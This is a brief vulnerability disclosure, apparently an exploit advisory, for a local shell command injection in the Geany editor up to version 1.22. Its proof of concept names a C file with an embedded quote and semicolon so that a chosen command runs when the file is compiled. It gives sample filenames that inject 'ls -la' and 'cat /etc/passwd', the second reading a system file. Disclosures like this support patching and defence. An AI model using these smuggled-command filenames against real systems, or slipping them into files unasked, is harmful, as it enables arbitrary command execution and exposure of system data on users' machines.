Geany <=1.22 Local Shell Command injection Vulnerability Since that A.B.C.D = Command that will be injected. POC: Create a C file, any file, click save, the filename you put: xpl.c";A.B.C.D" Now compile the file using Geany (Build-> Compile) (Or the shortcut F8), injected code ready. Examples: xpl.c";ls -la" xpl.c";cat /etc/passwd"